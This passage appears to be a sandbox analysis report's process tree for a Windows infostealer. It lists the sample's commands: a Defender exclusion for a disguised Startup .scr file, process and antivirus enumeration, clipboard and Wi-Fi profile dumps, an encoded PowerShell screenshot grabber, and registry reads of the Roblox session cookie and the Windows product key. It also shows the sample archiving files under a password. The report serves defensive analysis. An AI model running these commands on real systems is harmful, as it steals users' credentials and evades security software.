      powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‎ .scr'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3712
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3116
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:1596
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4152
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:1488
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4952
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      PID:2052
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:4476
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:1928
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    PID:2312
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3200
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:4068
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1528
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    PID:4552
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:4960
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    PID:1676
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:2172
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    PID:3916
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3368
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\y45fr1k5\y45fr1k5.cmdline"
        5⤵
        
        PID:4700
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES64D4.tmp" "c:\Users\Admin\AppData\Local\Temp\y45fr1k5\CSC9C0A893CFFA04C6ABC83DBAA3B7EA93.TMP"
        6⤵
        
        PID:2396
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:1624
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:672
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:3196
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3096
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:2716
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1664
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:3328
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1800
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:532
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2272
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:3996
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:644
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:628
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2248
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    PID:1580
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:832
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI4402\rar.exe a -r -hp"Alan1337" "C:\Users\Admin\AppData\Local\Temp\jVP48.zip" *"
    3⤵
    PID:1952
  - - C:\Users\Admin\AppData\Local\Temp\_MEI4402\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI4402\rar.exe a -r -hp"Alan1337" "C:\Users\Admin\AppData\Local\Temp\jVP48.zip" *
      4⤵
      Executes dropped EXE
      PID:4340
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    PID:5012
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      PID:4888
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    PID:1060
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      PID:3200
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    PID:1672
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:4036
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    PID:1384
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4436
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    PID:2436
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:5020
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    PID:2580
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3772

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3008
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffcef59ab58,0x7ffcef59ab68,0x7ffcef59ab78
  2⤵
  PID:4796
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1616 --field-trial-handle=1972,i,12655465598724549668,4398838398541964908,131072 /prefetch:2
  2⤵
  PID:2072
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1952 --field-trial-handle=1972,i,12655465598724549668,4398838398541964908,131072 /prefetch:8
  2⤵
  PID:1056
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2216 --field-trial-handle=1972,i,12655465598724549668,4398838398541964908,131072 /prefetch:8
  2⤵
  PID:1952
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2992 --field-trial-handle=1972,i,12655465598724549668,4398838398541964908,131072 /prefetch:1
  2⤵
  PID:4964
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3000 --field-trial-handle=1972,i,12655465598724549668,4398838398541964908,131072 /prefetch:1
  2⤵
  PID:3756
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4172 --field-trial-handle=1972,i,12655465598724549668,4398838398541964908,131072 /prefetch:1
  2⤵
  PID:3084
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3796 --field-trial-handle=1972,i,12655465598724549668,4398838398541964908,131072 /prefetch:8
  2⤵
  PID:4452
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4452 --field-trial-handle=1972,i,12655465598724549668,4398838398541964908,131072 /prefetch:8
  2⤵
  PID:1964
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4540 --field-trial-handle=1972,i,12655465598724549668,4398838398541964908,131072 /prefetch:8
  2⤵
  PID:5392
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4760 --field-trial-handle=1972,i,12655465598724549668,4398838398541964908,131072 /prefetch:8
  2⤵
  PID:5456
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4808 --field-trial-handle=1972,i,12655465598724549668,4398838398541964908,131072 /prefetch:8
  2⤵
  PID:5472
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --mojo-platform-channel-handle=4340 --field-trial-handle=1972,i,12655465598724549668,4398838398541964908,131072 /prefetch:1
  2⤵
  PID:5596
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --mojo-platform-channel-handle=4780 --field-trial-handle=1972,i,12655465598724549668,4398838398541964908,131072 /prefetch:1
  2⤵
  PID:6016
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --mojo-platform-channel-handle=4172 --field-trial-handle=1972,i,12655465598724549668,4398838398541964908,131072 /prefetch:1
  2⤵
  PID:4232
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --mojo-platform-channel-handle=4804 --field-trial-handle=1972,i,12655465598724549668,4398838398541964908,131072 /prefetch:1
  2⤵
  PID:2540
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3872 --field-trial-handle=1972,i,12655465598724549668,4398838398541964908,131072 /prefetch:8
  2⤵
  PID:5272
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=4828 --field-trial-handle=1972,i,12655465598724549668,4398838398541964908,131072 /prefetch:8
  2⤵
  PID:5352
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=3288 --field-trial-handle=1972,i,12655465598724549668,4398838398541964908,131072 /prefetch:8
  2⤵
  PID:5376
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5196 --field-trial-handle=1972,i,12655465598724549668,4398838398541964908,131072 /prefetch:8
  2⤵
  PID:1208
- C:\Program Files\Google\Chrome\Application\chrome.exe
